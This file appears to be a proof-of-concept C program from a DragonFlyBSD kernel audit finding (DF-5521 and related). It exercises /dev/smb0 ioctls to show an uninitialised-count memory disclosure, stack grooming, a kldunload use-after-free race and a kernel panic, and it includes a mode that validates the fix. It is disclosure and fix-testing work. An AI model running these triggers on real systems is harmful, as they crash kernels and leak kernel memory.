⬢ DragonFlyBSD Kernel Audit
DF-5521 / df5521_poc.c
← back to finding ↓ download raw
/*
 * DF-5521/5522/5523/5525 PoC: drive /dev/smb0 through the production
 * iicsmb bridge on top of the df5521 software controller.
 *
 * modes:
 *   proto     - SMB_BWRITE + 6x SMB_BREAD; observe wire logs (dmesg) and
 *               the rcount/rbuf readback (count byte handling + uninit
 *               bcount disclosure).                       [DF-5522/5523]
 *   race      - child holds SMB_BREAD in flight (hw.dfa.rdelay), parent
 *               kldunload's iicsmb -> freed-module-text UAF.
 *               If that alone does not fault, fire iicbus_intr through
 *               the dangling iicbus_softc->owner.         [DF-5521]
 *   fireevent - child holds SMB_BREAD in flight, parent injects an
 *               unknown iicbus event (0x99) -> iicsmb_intr panic.
 *                                                          [DF-5525]
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <unistd.h>

/* mirror of sys/dev/smbus/smb/smb.h */
struct smbcmd {
	u_char cmd;
	u_char reserved;
	u_short op;
	union { char byte; char buf[2]; short word; } wdata;
	union { char byte; char buf[2]; short word; } rdata;
	int  slave;
	char *wbuf;
	int  wcount;
	char *rbuf;
	int  rcount;
};
#define SMB_BWRITE	_IOWR('i', 10, struct smbcmd)
#define SMB_BREAD	_IOWR('i', 11, struct smbcmd)

#define SLAVE 0x5a

static void
do_bread_loop(int fd)
{
	struct smbcmd s;
	char rbuf[64];
	int i;

	for (i = 0; ; i++) {
		memset(&s, 0, sizeof(s));
		s.slave = SLAVE;
		s.cmd = 0x07;
		s.rcount = 16;
		s.rbuf = rbuf;
		(void)ioctl(fd, SMB_BREAD, &s);
		usleep(50 * 1000);
	}
	_exit(0);
}

int
main(int argc, char **argv)
{
	const char *mode = argc > 1 ? argv[1] : "proto";
	struct smbcmd s;
	char rbuf[64], wbuf[5];
	int fd, i, e, rc;
	pid_t pid;

	fd = open("/dev/smb0", O_RDWR);
	if (fd < 0) {
		perror("open /dev/smb0");
		return (1);
	}

	if (!strcmp(mode, "proto")) {
		wbuf[0] = 0xde; wbuf[1] = 0xad; wbuf[2] = 0xbe;
		wbuf[3] = 0xef; wbuf[4] = 0x99;
		memset(&s, 0, sizeof(s));
		s.slave = SLAVE; s.cmd = 0x07;
		s.wbuf = wbuf; s.wcount = 5;
		e = ioctl(fd, SMB_BWRITE, &s);
		printf("poc: SMB_BWRITE(5 bytes) -> %d "
		    "(wire should be [cmd 07][count 05][de ad be ef 99])\n", e);

		for (i = 0; i < 6; i++) {
			memset(&s, 0, sizeof(s));
			s.slave = SLAVE; s.cmd = 0x07;
			s.rcount = 16; s.rbuf = rbuf;
			memset(rbuf, 0xcc, sizeof(rbuf));
			e = ioctl(fd, SMB_BREAD, &s);
			printf("poc: SMB_BREAD#%d -> %d asked rcount=16 "
			    "got rcount=%d rbuf=", i, e, s.rcount);
			{
				int n = s.rcount;
				if (n < 0 || n > 32) n = 0;
				for (int j = 0; j < n; j++)
					printf("%02x ", (u_char)rbuf[j]);
			}
			printf("\n"); fflush(stdout);
			usleep(100 * 1000);
		}
		printf("poc: proto done\n");
	} else if (!strcmp(mode, "groom")) {
		/*
		 * Stack-groom then read: a prior SMB_BWRITE fills smbioctl's
		 * 1024-byte stack buf with 0x99 (via copyin); if the
		 * uninitialized `bcount` slot overlaps that region, the next
		 * SMB_BREAD's transfer length becomes 0x99 = 153 -- proving
		 * the count is stale-stack junk (and groom-controllable),
		 * not initialized state.
		 */
		char gb[32];
		struct smbcmd gs;

		memset(gb, 0x99, sizeof(gb));
		for (i = 0; i < 3; i++) {
			memset(&gs, 0, sizeof(gs));
			gs.slave = SLAVE; gs.cmd = 0x07;
			gs.wbuf = gb; gs.wcount = 32;
			e = ioctl(fd, SMB_BWRITE, &gs);
			printf("poc: groom BWRITE#%d (32x 0x99) -> %d\n", i, e);
			fflush(stdout);

			memset(&s, 0, sizeof(s));
			s.slave = SLAVE; s.cmd = 0x07;
			s.rcount = 16; s.rbuf = rbuf;
			memset(rbuf, 0xcc, sizeof(rbuf));
			e = ioctl(fd, SMB_BREAD, &s);
			printf("poc: post-groom SMB_BREAD -> %d rcount=%d "
			    "(uninit bcount value! 0x99=153 means groomed) "
			    "rbuf=", e, s.rcount);
			{
				int n = s.rcount;
				if (n < 0 || n > 32) n = 0;
				for (int j = 0; j < n; j++)
					printf("%02x ", (u_char)rbuf[j]);
			}
			printf("\n"); fflush(stdout);
		}
		printf("poc: groom done\n");
	} else if (!strcmp(mode, "race")) {
		pid = fork();
		if (pid == 0)
			do_bread_loop(fd);
		printf("poc: child %d looping BREAD; waiting 1s "
		    "(rdelay holds each txn in flight)\n", pid); fflush(stdout);
		sleep(1);
		printf("poc: >>> kldunload iicsmb while child mid-BREAD <<<\n");
		fflush(stdout);
		rc = system("kldunload iicsmb");
		printf("poc: kldunload rc=%d (panic expected on/after this)\n",
		    rc); fflush(stdout);
		sleep(2);
		printf("poc: still alive; firing INTR_STOP (0x3) through "
		    "dangling iicbus owner\n"); fflush(stdout);
		rc = system("sysctl hw.dfa.fire_event=3");
		printf("poc: fire rc=%d\n", rc); fflush(stdout);
		sleep(5);
		printf("poc: race done (no crash?)\n");
	} else if (!strcmp(mode, "racefixed")) {
		/*
		 * Fix validation for DF-5521: with the EBUSY guard in
		 * iicsmb_detach, a mid-transaction kldunload must FAIL,
		 * the in-flight ioctl must complete normally, and after the
		 * client stops, the unload must succeed with no panic.
		 */
		pid = fork();
		if (pid == 0)
			do_bread_loop(fd);
		printf("poc: child %d looping BREAD; waiting 1s\n", pid);
		fflush(stdout);
		sleep(1);
		printf("poc: >>> kldunload iicsmb mid-BREAD (expect EBUSY) <<<\n");
		fflush(stdout);
		rc = system("k=$(kldstat | awk '$NF ~ /iicsmb/ {print $NF; exit}'); "
		    "echo unloading $k; kldunload $k 2>&1 ; echo rc=$?");
		printf("poc: unload attempt rc=%d\n", rc); fflush(stdout);
		sleep(1);
		printf("poc: child still alive? ");
		fflush(stdout);
		if (kill(pid, 0) == 0)
			printf("yes (in-flight ioctls completing normally)\n");
		else
			printf("no\n");
		fflush(stdout);
		kill(pid, SIGKILL);
		waitpid(pid, NULL, 0);
		sleep(1);
		printf("poc: >>> kldunload iicsmb after client stopped "
		    "(expect success) <<<\n"); fflush(stdout);
		rc = system("k=$(kldstat | awk '$NF ~ /iicsmb/ {print $NF; exit}'); "
		    "echo unloading $k; kldunload $k 2>&1 ; echo rc=$?");
		printf("poc: second unload rc=%d\n", rc); fflush(stdout);
		sleep(1);
		printf("poc: firing INTR_STOP via iicbus_intr after clean "
		    "unload (owner must be NULL now)\n"); fflush(stdout);
		rc = system("sysctl hw.dfa.fire_event=3");
		printf("poc: fire rc=%d\n", rc); fflush(stdout);
		sleep(1);
		printf("poc: racefixed done -- GUEST ALIVE, fix validated\n");
	} else if (!strcmp(mode, "fireevent")) {
		pid = fork();
		if (pid == 0)
			do_bread_loop(fd);
		printf("poc: child %d looping BREAD; waiting 1s\n", pid);
		fflush(stdout);
		sleep(1);
		printf("poc: >>> sysctl hw.dfa.fire_event=153 (unknown event) "
		    "<<<\n"); fflush(stdout);
		rc = system("sysctl hw.dfa.fire_event=153");
		printf("poc: fire rc=%d (panic expected before this line)\n",
		    rc); fflush(stdout);
		sleep(5);
		printf("poc: fireevent done (no crash?)\n");
	} else {
		printf("usage: %s proto|groom|race|racefixed|fireevent\n", argv[0]);
		return (2);
	}
	return (0);
}